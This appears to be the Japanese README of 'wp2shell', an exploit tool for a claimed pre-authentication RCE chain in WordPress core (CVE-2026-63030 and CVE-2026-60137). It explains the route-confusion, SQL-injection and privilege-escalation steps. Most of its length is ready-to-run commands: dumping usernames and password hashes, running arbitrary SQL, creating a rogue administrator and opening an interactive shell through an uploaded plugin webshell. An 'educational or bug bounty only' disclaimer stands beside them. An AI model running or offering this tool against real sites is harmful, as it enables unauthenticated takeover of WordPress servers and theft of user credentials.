
CVE-2026-63030 & CVE-2026-60137 RCEチェーン概念実証
⚠ このツールは教育目的またはバグ報奨金プログラムの目的でのみ作成されています。管理された環境外での不正使用は厳格に禁止されています。
WordPress コアに影響する wp2shell 脆弱性チェーンの概念実証です。CVE-2026-63030 と CVE-2026-60137 を組み合わせています。このプロジェクトは、REST API の Batch ルート混乱の脆弱性と WP_Query の SQL インジェクションの相互作用を示しており、未認証のまま WordPress を完全に侵害し、リモートコード実行 (RCE) に至る経路を実証します。
完全なアドバイザリはこちらで読むことができます。
wp2shell は、WordPress コアにおける認証前 RCE チェーンであり、CVE-2026-63030 (バッチ REST エンドポイントのルート混乱) と CVE-2026-60137 (WP_Query の SQL インジェクション) を組み合わせたものです。
ルート混乱: /wp-json/batch/v1 は、位置でインデックス付けされた並列の $matches 配列と $validation 配列を介して複数のサブリクエストを処理します。不正なパス (例: http://:) を含むサブリクエストは、continue 文により $validation には追加されますが $matches には追加されず、配列の同期が崩れます。後続のリクエストは、次の リクエスト用に用意されたハンドラの下でディスパッチされ、スキーマ検証と権限チェックをバイパスします。
SQL インジェクション: 2 つのネストされたバッチ呼び出しがこれを悪用します。外側のバッチはメソッド許可リスト (通常は GET をブロック) をバイパスします。内側のバッチはスカラーの author_exclude 文字列を GET /wp/v2/posts に渡します。この同期ズレにより検証をすり抜けるようにルーティングされ、WP_Query がサニタイズされていない文字列を直接 SQL に補間するため、UNION ベースのブラインドインジェクションが発生します。
キャッシュポイズニング: SQLi は偽造された WP_Post オブジェクトを返し、WordPress はそれをメモリ内にキャッシュします。これらの偽の投稿には [embed] ショートコードが含まれており、WordPress は偽の参照から実際の oembed_cache データベース行を作成します。
Changeset 権限昇格: 攻撃者は SQLi を利用して、JSON に "user_id": 1 を含む customize_changeset 投稿をメモリ内で偽造します。循環検出ガジェットが post_content を上書きせずに wp_update_post() をトリガーし、攻撃者のペイロードを保持します。changeset を適用すると、一時的に管理者の身元を引き継ぎます。
フック再エントリ: ステータス parse とタイプ request を持つ偽造投稿が parse_request フックを発火させ、取得した管理者ロールでバッチリクエスト全体を再実行します。今回は POST /wp/v2/users サブリクエストが成功し、新しい管理者アカウントが作成されます。
コード実行: 攻撃者は作成された管理者としてログインし、悪意のあるプラグインをアップロードして任意のコマンドを実行します。
| Version | ステータス |
|---|---|
| WordPress 6.9.0 – 6.9.4 | 脆弱 |
| WordPress 7.0.0 – 7.0.1 | 脆弱 |
| WordPress 6.9.5 | 修正済み |
| WordPress 7.0.2+ | 修正済み |
この PoC を使用するために必要なのは Python 3.8+ のみです。
リポジトリディレクトリから実行して、脆弱性チェックを行います:
wp2shell.py http://victim.com
単一の脆弱性チェックを実行します。SQLi ペイロードを実行せずにルート混乱バグを検出する、無害なバッチマーカープローブを送信します。脆弱なターゲットは、parse_path_failed、block_cannot_read、rest_batch_not_allowed のエラーパターンを含む HTTP 207 を返します。
--confirm-sqli を使用すると、アクティブな SQLi 確認ペイロードも送信されます。確認では最初に UNION リフレクションを試し、次にタイミングベースのプローブにフォールバックします。
単一ターゲットのチェック (デフォルトモード)
wp2shell.py http://target.com
明示的なモードでチェック
Check with explicit mode
wp2shell.py http://target.com --check
SQLi 確認を含むチェック
wp2shell.py http://target.com --check --confirm-sqli
認証前 SQL インジェクションを使用してデータベースからデータを抽出します。デフォルトでは --technique auto を使用し、利用可能なメソッドを次の順序で試します:
WP_Post 行を偽造し、REST レスポンスからタイトルを ||HEX(value)|| として読み戻します。値ごとに 1 リクエスト。最速です。EXTRACTVALUE/UPDATEXML を使用して、1 リクエストあたり約 15 バイトを漏洩させます。ターゲットが MySQL エラーを反映する場合 (例: WP_DEBUG_DISPLAY がオンの場合) に機能します。X-WP-Total ヘッダーを true/false シグナルとして読み取ります。データが一切反映されない場合でも機能します。--technique union|error|blind で特定のテクニックを強制できます。これらの読み取り経路は読み取り専用であり、データベースに書き込みを行いません。
サーバーフィンガープリント (デフォルトクエリ)
wp2shell.py http://target.com --read
ログイン名とパスワードハッシュのダンプ
wp2shell.py http://target.com --read --preset users
カスタム SQL クエリ
wp2shell.py http://target.com --read --query "SELECT @@version"
ブラインドテクニックを強制
wp2shell.py http://target.com --read --technique blind --query "SELECT user_login FROM wp_users LIMIT 1"
エラーベースのテクニックで抽出
wp2shell.py http://target.com --read --technique error --query "SELECT user_pass FROM wp_users LIMIT 1"
ターゲットサーバー上でコマンドを実行します。2 つのモードで動作します:
認証情報を使用する場合 (既存の管理者としてログインし、プラグインシェルをアップロード):
特定のコマンドを実行
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --cmd id
インタラクティブシェル
wp2shell.py http://target.com --shell --user admin --password '<recovered>' --interactive
Without credentials (pre-auth RCE - runs the full SQLi→admin bridge, logs in as generated admin, then uploads plugin shell):
単一コマンドを実行
wp2shell.py http://target.com --shell --cmd id
インタラクティブシェル
wp2shell.py http://target.com --shell --interactive
プラグインのウェブシェルは、ランダムなパスと実行ごとのトークンでアップロードされます。アップロードされたウェブシェルは自動的に削除されます。認証前ブリッジが管理者を作成した場合、その生成されたアカウントはシェルセッション終了後に自動的に削除されます。
全フラグ一覧:
このツールは教育目的またはバグ報奨金プログラムの目的でのみ作成されています。管理された環境外での不正使用は厳格に禁止されています。
| フラグ | 説明 |
|---|
--check | 脆弱性チェックを実行 (他のモードが指定されていない場合のデフォルトモード) |
--read | SQL インジェクションを介してデータを抽出 |
--shell | サーバー上でコマンドを実行 |
--query | 読み取りモード用のカスタム SQL クエリ |
--preset | 事前定義されたクエリプリセット (users、config、versions) |
--technique | SQLi 抽出テクニック: union、error、blind、または auto (デフォルト) |
--confirm-sqli | チェック後に SQLi 確認ペイロードを送信 |
--cmd | シェルモードで実行するコマンド (デフォルト: id) |
--interactive, -i | インタラクティブシェルモード |
--user | 認証付きシェル用の管理者ユーザー名 |
--password | 認証付きシェル用の管理者パスワード |
--proxy | HTTP/HTTPS プロキシ (例: http://127.0.0.1:8080) |
--timeout | リクエストタイムアウト (秒) (デフォルト: 30) |
--verbose, -v | 詳細出力 |